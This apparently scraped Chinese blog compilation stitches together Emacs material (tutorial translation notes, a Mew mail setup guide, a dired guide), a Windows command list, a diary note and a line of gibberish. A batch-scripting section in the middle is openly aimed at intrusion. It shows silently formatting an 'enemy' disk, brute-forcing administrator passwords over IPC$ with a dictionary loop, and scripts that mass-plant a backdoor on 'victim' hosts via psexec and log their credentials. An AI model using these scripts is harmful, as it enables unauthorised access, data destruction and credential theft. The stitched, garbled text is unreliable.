个:"增量的"和"渐进的"。"incremental search"翻译成"增量式搜索
"或者"渐进式搜索"都讲的通,且都有各自的形象之处。还是参考原文对其
的解释:"... means that the search happens while you type in the
string to search for"。意思是之所以称其为"incremental search",是
因为"在你输入搜索字符串的过程中,搜索就已经在进行了"。我们认为"增
量的"更加强调在现有基础上的变化(比如"增量备份","增量编译");
而"渐进的"更加强调过程的逐渐发展,也更加符合原文的意思。因此我们选
择将"incremental search"译作"渐进式搜索"。


* 版权声明(COPYING)
---------------------

This tutorial descends from a long line of Emacs tutorials
starting with the one written by Stuart Cracraft for the original Emacs.

This version of the tutorial, like GNU Emacs, is copyrighted, and
comes with permission to distribute copies on certain conditions:

Copyright (C) 1985, 1996, 1998, 2001, 2002, 2003, 2004,
2005 Free Software Foundation, Inc.

Permission is granted to anyone to make or distribute verbatim copies
of this document as received, in any medium, provided that the
copyright notice and permission notice are preserved,
and that the distributor grants the recipient permission
for further redistribution as permitted by this notice.

Permission is granted to distribute modified versions
of this document, or of portions of it,
under the above conditions, provided also that they
carry prominent notices stating who last altered them.

The conditions for copying Emacs itself are more complex, but in the
same spirit. Please read the file COPYING and then do give copies of
GNU Emacs to your friends. Help stamp out software obstructionism
("ownership") by using, writing, and sharing free software!

和阿里大丰收的

老师附件我发觉我额附件文件房屋交付
啊司法考试降低房价是否
顺利打开电视附件我额减少对方

2008年7月12日星期六

My life with Emacs
Emacs,它真的很酷,不过刚开始配置,真“苦”
容我发几句牢骚吧555555
首先我想配置起来一个邮件客户端,一开始上网找资料,看着别人的.emacs文件配置POP3和SMTP等
收邮件比较简单,最麻烦的就是设置发邮件,怎么发都发不出去,NND
一般查到的配置文件都是像这样说的:“只要把其中的一些个人信息替换就可以了”
我很傻很天真,所以搞了1个晚上也没有把starttls的这个错误解决,真是气死偶了啊
我明明有的starttls.el这个文件的呀,苍天啊……
不管是英文的,日文的,中文的(比较少),能用的资料我都用了,唉,还是不行

得,那就用mew把,网上一看,哇,这个简单,好像不要什么该死的starttls的,高高兴兴的配完
,结果很没有悬念,接着网上的资料吧,功夫有心人啊,我终于从几千篇文章和Info中找到一个能
的办法了,哈哈,差点抓狂后的狂喜啊

参考了一个博客
Wenbin Dai
http://daiwb.spaces.live.com/blog/cns!B66E17478A932BF6!682.entry
括号里的注释是我写的哦

Emacs下使用Mew

花了一晚上,终于搞定Windows下Emacs+Mew,写篇blog供大家参考。

1)首先是要安装Emacs(我的版本是23),此处略去,只是解压缩完毕后需要执行$HOMEbinaddpm.exe(这个不是$HOME目录,还没这个变量呢不是?:)其实就是你安装Emacs的Bin目录下)来进行一下安装,否则Mew会不认得Emacs。
2)添加环境变量HOME(这里才有$HOME),指向放置.emacs配置文件的地方。Windows下没法new一个类似.emacs的文件(Windows下可以用_emacs),可以到命令行下用edit来new一个再编辑。
3)到http://www.stunnel.org/download/binaries.html下载三个文件:(现在网站上有高版本,我下了用了,出错了,老老实实的还是用了下面的三个呵呵)
  • stunnel-4.21-installer.exe
  • stunnel-3.26.exe
  • openssl.exe
4)首先安装stunnel-4.21-installer.exe,然后跟名stunnel-3.26.exe为stunnel.exe,替换4.21的安装目录下的文件。最后拷贝openssl.exe到4.21的安装目录。
5)到http://www.mew.org/下载Mew的包,解压,然后执行Mew.exe安装。这里注意Emacs和Mew不要装到Program Files目录下,因为路径的空格会导致安装失败,我就在这里磨蹭了很久,还下了半天Cygwin想来编译-_-
(关于Mew的安装我多说几句,折腾死我了,下载后,解压缩,网上都说要先执行第一步里的addpm.exe,可是不管我怎么执行,运行Mew.exe都出错,都报找不到Emacs不认识这个家伙,唉,没办法,老外说,这个addpm.ext有问题,没有往注册表里写东西所以不认识,没办法,上cygwin把,进入Mew的文件夹,里面都是你解压缩出来的文件,找到./configure运行,生成后一个makefile文件,注意别执行啊,现在执行就装到cygwin里的Emacs里去了,用文本编辑器打开makefile,编辑几个变量的变量,改的变量如下我的环境
  • prefix=C:/Emacs/ntemacs23
  • exec_prefix=${prefix}
  • libdir=${exec_prefix}/lib
  • datadir=${prefix}
  • infodir=${prefix}/info
  • EMACS =${prefix}/bin/emacs
  • elispdir = ${datadir}/site-lisp/mew
  • etcdir = ${datadir}/site-lisp/mew/etc
OK,看这个文件的开头部分,有执行命令的说明,照着执行吧
  • ### (1) Set the following variables as you like.
  • ### (2) make
  • ### (2.1) make info
  • ### (2.2) make jinfo
  • ### (3) make install
  • ### (3.1) make install-jinfo
好了,这就算Mew装完了,那个该死Mew.exe不要执行也罢,也不必把什么exe文件拷到Emacs的bin目录什么的
那都是胡扯,以我为准,哈哈

6)在.emacs里加入以下配置内容(更改为自己的设置):
(autoload 'mew "mew" nil t)
(autoload 'mew-send "mew" nil t)
(if (boundp 'read-mail-command)
(setq read-mail-command 'mew))
(autoload 'mew-user-agent-compose "mew" nil t)
(if (boundp 'mail-user-agent)
(setq mail-user-agent 'mew-user-agent))
(if (fboundp 'define-mail-user-agent)
(define-mail-user-agent
'mew-user-agent
'mew-user-agent-compose
'mew-draft-send-message
'mew-draft-kill
'mew-send-hook))

(setq user-full-name "Wenbin Dai")
(setq user-mail-address "dwb1983@gmail.com")
7)在和.emacs同样的目录下新建一个.mew.el文件,加入如下内容:
(setq mew-prog-ssl "C:/Program Files/stunnel/stunnel.exe")
(setq mew-ssl-verify-level 0)
(setq mew-user "Wenbin Dai")
(setq mew-mail-domain "gmail.com")
(setq mew-pop-user "dwb1983@gmail.com")
(setq mew-pop-auth 'pass)
(setq mew-pop-ssl t)
(setq mew-pop-delete nil)
(setq mew-pop-server "pop.gmail.com")
(setq mew-pop-ssl-port "995")
(setq mew-smtp-user "dwb1983@gmail.com")
(setq mew-smtp-ssl t)
(setq mew-smtp-server "smtp.gmail.com")
(setq mew-smtp-ssl-port "465")

然后就可以在Emacs下收发邮件了,敲入M-x mew回车就行了,还是蛮酷的。:)

最后发现一个问题,自己通过本地邮箱发到本地邮箱的Mail收不到,但能发,但网上还是有的,奇怪了
别的邮箱发过来的都能收,我很奇怪

终于能收发邮件了,心情大好啊,命令太多

1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。


sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \ipipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \ipipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \%1ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \%1 c:winntsystem32windrv32.exe
@p***ec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.


有关某个命令的详细信息,请键入 HELP 命令名

XP.CMD命令大全


有关某个命令的详细信息,请键入 HELP 命令名
ASSOC 显示或修改文件扩展名关联。
AT 计划在计算机上运行的命令和程序。
ATTRIB 显示或更改文件属性。
BREAK 设置或清除扩展式 CTRL+C 检查。
CACLS 显示或修改文件的访问控制列表(ACLs)。
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开另一个 Windows 命令解释程序窗口。
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。您不能转换
当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKCOMP 比较两个软盘的内容。
DISKCOPY 将一个软盘的内容复制到另一个软盘。
DOSKEY 编辑命令行、调用 Windows 命令并创建宏。
ECHO 显示消息,或将命令回显打开或关上。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除至少一个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个或两套文件,并显示
不同处。
FIND 在文件中搜索文字字符串。
FINDSTR 在文件中搜索字符串。
FOR 为一套文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便跟 Windows 使用。
FTYPE 显示或修改用于文件扩展名关联的文件类型。
GOTO 将 Windows 命令解释程序指向批处理程序
中某个标明的行。
GRAFTABL 启用 Windows 来以图像模式显示
扩展字符集。
HELP 提供 Windows 命令的帮助信息。
IF 执行批处理程序中的条件性处理。
LABEL 创建、更改或删除磁盘的卷标。
MD 创建目录。
MKDIR 创建目录。
MODE 配置系统设备。
MORE 一次显示一个结果屏幕。
MOVE 将文件从一个目录移到另一个目录。
PATH 显示或设置可执行文件的搜索路径。
PAUSE 暂停批文件的处理并显示消息。
POPD 还原 PUSHD 保存的当前目录的上一个值。
PRINT 打印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存当前目录,然后对其进行更改。
RD 删除目录。
RECOVER 从有问题的磁盘恢复可读信息。
REM 记录批文件或 CONFIG.SYS 中的注释。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替换文件。
RMDIR 删除目录。
SET 显示、设置或删除 Windows 环境变量。
SETLOCAL 开始批文件中环境更改的本地化。
SHIFT 更换批文件中可替换参数的位置。
SORT 对输入进行分类。
START 启动另一个窗口来运行指定的程序或命令。
SUBST 将路径跟一个驱动器号关联。
TIME 显示或设置系统时间。
TITLE 设置 CMD.EXE 会话的窗口标题。
TREE 以图形模式显示驱动器或路径的目录结构。
TYPE 显示文本文件的内容。
VER 显示 Windows 版本。
VERIFY 告诉 Windows 是否验证文件是否已正确
写入磁盘。
VOL 显示磁盘卷标和序列号。
XCOPY 复制文件和目录树。





当你困了的时候,你在想什么?
每天我都有一个低潮期,直接反映就是特别特别的累和困,想睡觉,在这个时候,我的意志往往是比较薄弱的。比如我,工作时间实在是困得抬不起头了的时候,虽然心有余悸怕会被老板看见,但同时心里面也会有另外一个声音在说,不管了大不了就看见吧。我想,这时候是我最容易割舍东西的时候,平时觉得重要的事情也变得不再那么重要了。

dired 是 Emacs 自带的文件管理器,操作非常方便,再加上一些扩展之后无疑是 一个理想的文件管理器。看看这里来了解如何增强你的 dired 。
Mark & Flag

dired 最方便的一点就是可以对许多文件进行标记,并进行批量操作。标记的方 法有很多,最普通的标记就是 d 为当前文件贴上删除标签,之后可以使用 x 来 真正删除所有贴上删除标签的文件。

dired 还提供了许多预定义的方便的标记操作(当使用 C-u 传递一个前缀参数 时,他们执行相反操作,即去掉标记),例如:
# 为所有自动保存的文件(通常是文件名开始和结尾都是 # 的文件)贴上删除 标签。
~ 为所有备份文件(即文件名以 ~ 结尾的文件,Emacs 和 vi 等编辑器默认 情况下都会产生这样的文件)贴上删除标签。
& 为“垃圾文件”(看 dired-garbage-files-regexp 的值可以知道 dired 把 哪些文件当作了垃圾文件)贴上删除标签。

通常这些命令可以方便地帮你清理垃圾,如果还不满意,可以使用 % d REGEXP <RET> 来输入自己的正则表达式,匹配到的文件会被贴上删除标签。

当然,能用的标签并不止是 D (即删除标签),几乎任何一个字符都可以使用,不 过最常用的还是 * , m 命令即是以 * 标记当前文件。同样,dired 提供了很多 方便的标记操作(这些命令在传递一个前缀参数的时候都会执行相反的操作,例如 C-u * * 会去掉所有可执行文件的标记):
* * 标记所有可执行文件。
* @ 标记所有符号链接。
* / 标记所有目录(不包括 . 和 .. )。
* s 标记所有文件(不高考 . 和 .. )。
* . 标记具有给定扩展名的文件。
% m REGEXP <RET> 或 * % REGEXP <RET> 标记所有匹配到给定的正则表达式 的文件。
% g REGEXP <RET> 标记所有文件 内容 匹配到给定的正则表达式的文件。

另外,还有一些相关的命令:
u 去除当前行的标记。
<DEL> 上移一行并去除该行的标记。
U 去除所有标记。
* ? MARKCHAR 或 M-<DEL> 去除所有以 MARKCHAR 标记的文件的标记,如果 传递一个前缀参数,则会对每一个文件要求你确认是否去除标记。
t 交换标记,即所有原来标记为 * 的文件被置于未标记状态,原来未标记的 文件被标记为 * ,原来有其他标记的文件不受影响。

上面的操作都是使用 * 进行标记,但是 dired 可以使用更多的字符进行标记, 只是没有提供相应的快捷键操作而已,你可以先以 * 标记,然后使用 * c OLD-MARKCHAR NEW-MARKCHAR 来把 * 标记变换成其他标记,几乎任何字符(当然 不包括中文这种多字节的字符)都可以作为标记,不过空格被特殊对待,用于表示 所有未标记的文件。

列举了这么多命令,多少有些枯燥,作为一个例子,我们来把当前目录下的所有 备份文件移动到 ~/backup 目录下。假设当前目录已经有一些文件被你以 D 标 记,但是暂时还不想删除:
选择个临时标记,比如 t ,只要保证当前 buffer 里面没有已经存在的 这种标记就行了。
* c D t 把当前所有 D 标签换为 t 标签。
~ 以 D 标记所有备份文件。
* c D * 把 D 标签换为 * 标签。
R ~/backup <RET> 来把所有标记为 * 的文件移动到 ~/backup 目录里面。
* c t D 恢复原来的 D 标记。

当然这要假设你原来没有设定其他的 * 标记,要不然你也可以再添加一个临时 标记。总之操作和清晰也很方便,感觉像在汇编语言里面使用寄存器一样,大多 数批量操作都是针对 * 标记的,所以对某个标记操作之前需要把他先转换为 * 标记。

另外,还有一个非常强大的标记的方法,绑定到 M-( 或 * ( 上。它可以让你使 用断言来决定标记哪些文件。 C-h f dired-mark-sexp RET 可以得到详细的文档。 这个功能非常强大,有点类似于 find 程序,例如,标记所有没有编译的Elisp 文件(如果编译了,那么会有一个同名,但是扩展名为 .elc 的文件存在) 的方法 是输入这个断言: (and (string-match "\.el$" name) (not (file-exists-p (concat name "c")))) 。
文件操作

dired 内建了很多文件操作,对于操作的文件有一个统一的约定,按照顺序是:
如果你通过 C-u 传递一个前缀参数 N ,那么它对从当前行开始的 N 行执 行操作( N 也可以是负数)。
如果有被标记为 * 的文件,则以这些文件为操作对象。
只对当前光标所在的文件进行操作。
常用操作

这些命令全部绑定到大写字母上,记忆也非常方便:
C 拷贝文件。把 dired-recursive-copies 设为非 nil 的值可以递归拷贝目 录,通常我们设定为 top ,这表示对于顶层目录 dired 会先进行询问是否 要递归拷贝,而其中的子目录则不再询问。如果嫌询问太麻烦,可以直接设 置为 always 。
D 删除文件。类似的有一个 dired-recursive-deletes 变量可以控制递归删 除。
R 重命名文件,也就是移动文件。
H 创建硬链接。
S 创建软链接。
M 修改权限位,即 shell 里面的 chmod 命令。
G 修改文件所属的组。
O 修改文件的所有者。
T 修改文件的修改时间,类似于 shell 命令 touch 。
P 打印文件。
Z 压缩或解压文件。
L 把 Elisp 文件加载进 Emacs 。
B 对 Elisp 文件进行 Byte compile 。
A 对文件内容进行正则表达式搜索,搜索会在第一个匹配的地方停下,然后 可以使用 M-, 搜索下一个匹配。
Q 对文件内容进行交互式的正则表达式替换。
shell 命令

除了这些操作,还可以使用 ! 来执行 shell 命令。这里介绍了自动猜测 shell 命令的办法,就类似于通常的文件管理器里面以关联的程序打开了。
强大的重命名功能

dired 有一个文件名转换的理念,所以转换,并不一定是重命名,还可以是复制 和创建链接。所以,除了 % u 和 % l 重命名原文件为大写、小写外,一个使用 正则表达式进行转换的命令提供了四个选项: % X 其中 X 可以是 R , C , H 和 S ,分别代表重命名、复制、创建硬链接和创建软链接,他们使用匹配和替换的 机制,这有点像 rename 这个程序,例如: % R .[^.]*$ <RET> .1& <RET> 给原来的文件名加个标号 1 ,把 foo.txt 变成 foo.1.txt 。

另外,dired 还有一个叫做 Wdired 的扩展可以直接在 dired 的 buffer 里面编 辑文件名来达到重命名的效果。使用 M-x wdired-change-to-wdired-mode 进入 编辑模式,这个时候可以直接像编辑普通文本一样编辑文件名,还可以添加路径 来实现把文件移动到其他目录。除了文件名可以编辑以外,其他部分被标记为只 读,但是如果把 wdired-allow-to-change-permissions 设为 t 的话,还可以 编辑文件的权限位。编辑完成之后使用 C-c C-c 来应用所做的编辑。非常方便。
排序和过滤

dired 有方便的排序功能,这里介绍了如何方便地使用排序功能。另外 dired 还有一个 k 用于去掉不想显示出来的文件,它并不删除磁盘上的文件,只是临 时从 dired 的 buffer 中去掉他们, g 刷新一下它们又会显示出来,这样,首 先用强大的标记功能进行标记,然后使用 k 去掉,就实现了过滤的功能。
子目录操作

dired 允许同时操作当前目录和子目录。在 dired-listing-switches 里面加入 R 选项就可以显示子目录,如果只是想临时显示某个子目录的内容,对该目录执 行 i 操作就会把该子目录的内容添加到 dired 当前 buffer 的末尾并把光标移 动到那里,dired 在移动之前会先设置一个 mark ,所以可以使用 C-u C-<SPC> (对于我来说,我把 set-mark-command 绑定到了 M-<SPC> 上,这里自然就是使 用 C-u M-<SPC> 了)回到原来的位置。

关于子目录的更多方便的操作可以参见 Emacs 的 info 文档。
其他功能

还有一些方便的功能,我把几个常用的命令列在这里:
+ 创建目录
w 复制文件名,如果通过 C-u 传递一个前缀参数 0 ,则复制决定路径名, 如果只是 C-u 则复制相对于 dired 当前目录的相对路径。
I 把当前文件以 info 文档的格式打开。
N 把当前文件以 man 格式打开(使用 WoMan)。

Y 为所有标记的文件创建一个到指定目录的相对符号连接(即使用相对路径进 行引用,而不是绝对路径)。

Contents
dired 扩展列表 
使用单个 buffer 
不用任何扩展 
对内置的函数进行 advice 
使用 dired+.el 
使用 dired-single.el 
跳转到当前 buffer 对应文件所在目录 
使用 dired-x.el 
使用 dired-single.el 
快速定位到某个文件 
使用 dired-details.el 和 dired-details+.el 
使用 dired-view.el 
使用 dired-isearch.el 
忽略不感兴趣的文件 
使用 dired-x.el 
使用 dired+.el 
以合适的程序打开文件 
使用 dired-x.el 
使用 run-assoc.el 
使用 trivial-mode.el 
排序 
使用 dired-sort-menu.el 和 dired-sort-menu+.el 
自己对 dired 进行扩展 
使用 dired 自身的功能 
dired 扩展列表

这里列举一下我们后面要用到的 dired 的扩展,他们都是单个 Elisp 文件,安 装方法都可以在文件头部的注释部分找到。
dired-single.el 让 dired 只使用一个 buffer 。
dired+.el 扩展 dired.el 、 dired-x.el 和 dired-aux.el 的功能。
dired-x.el 这是 Emacs 自带的扩展,安装方法可以查看 Emacs 的 info 文 档。
dired-isearch.el 在 dired 里面只针对文件名做 i-search 。
dired-details.el 隐藏多余的信息,显示简洁的文件列表。
dired-details+.el dired-details.el 的扩展。
dired-view.el 输入文件名的首字母快速跳转。
dired-sort-menu.el 方便地使用各种方式进行排序,并提供一个菜单用于执 行操作。
dired-sort-menu+.el dired-sort-menu.el 的扩展。
使用单个 buffer

dired 在每打开一个新的目录之后总会打开一个新的 buffer ,这样,在浏览了 很多目录之后,Emacs 里面就会充满了目录的 buffer ,很不舒服,不过有很多 方法可以解决这个问题。
不用任何扩展

在 Emacs 22 里面,可以使用 a 来访问目录,这样可以避免打开多余的buffer ,不过使用回车或者鼠标点击打开目录的话,还是会产生多出来的 buffer 。
对内置的函数进行 advice

可以通过对 Emacs 内置的函数进行 advice 也可以达到这个目的,其实就是对 进入其他目录的动作进行截获,判断如果进入了一个目录,则把原来目录的那个 buffer 删掉:
(defadvice dired-find-file (around dired-find-file-single-buffer activate)
  "Replace current buffer if file is a directory."
  (interactive)
  (let ((orig (current-buffer))
  (filename (dired-get-file-for-visit)))
  ad-do-it
  (when (and (file-directory-p filename)
  (not (eq (current-buffer) orig)))
  (kill-buffer orig))))
(defadvice dired-up-directory (around dired-up-directory-single-buffer activate)
  "Replace current buffer if file is a directory."
  (interactive)
  (let ((orig (current-buffer)))
  ad-do-it
  (kill-buffer orig)))
使用 dired+.el

dired+.el 提供 toggle-dired-find-file-reuse-dir ,用于打开和关闭默认按 键是否重用当前 buffer ,如果你不想影响默认新闻,它还提供了了两个函数, diredp-find-file-reuse-dir-buffer 和 diredp-mouse-find-file-reuse-dir-buffer ,你可以把他们绑定到其他的按键 上面。不过,使用 ^ 跳到上一级目录的时候仍然是没有重用当前的 buffer 的,当 然,你可以使用在 .. 上按回车跳到上一级的办法。
使用 dired-single.el

dired-single.el 专门为这个问题而设计,他可以保证所有的 dired buffer 都 使用同一个名字,换句话说,总是只会有一个 dired buffer 存在,并且我们可 以方便地跳到那个 buffer ,如果 buffer 不存在的话, dired-single.el 会自 动帮我们创建。

作为基本使用,在 dired 里面重新绑定 回车、鼠标点击和 ^ 键:
(require 'dired-single)
(add-hook 'dired-mode-hook
  (lambda ()
  (define-key dired-mode-map (kbd "RET") 'joc-dired-single-buffer)
  (define-key dired-mode-map (kbd "<mouse-1>") 'joc-dired-single-buffer-mouse)
  (define-key dired-mode-map (kbd "^")
  (lambda ()
  (interactive)
  (joc-dired-single-buffer "..")))))

另外,如果想使用单一的 dired buffer 模式,首先要固定住 dired buffer 的 名字,这样才能方便地在任何时候跳转到原来存在的 dired buffer 那里。定制 joc-dired-magic-buffer-name 可以设定这个值,他的默认值为 *dired* 。然后 要把 joc-dired-use-magic-buffer 设定为 t 以启用 magic-buffer 机制。最后 我们绑定 C-x d 到 joc-dired-magic-buffer 上,这样,就可以使用 C-x d 来 跳转回存在的 dired buffer ,如果事先没有这个 buffer 存在,他会询问你要 访问的目录并自动创建这个 buffer 。
(require 'dired-single)
(add-hook 'dired-load-hook
  (lambda ()
  (define-key dired-mode-map (kbd "RET") 'joc-dired-single-buffer)
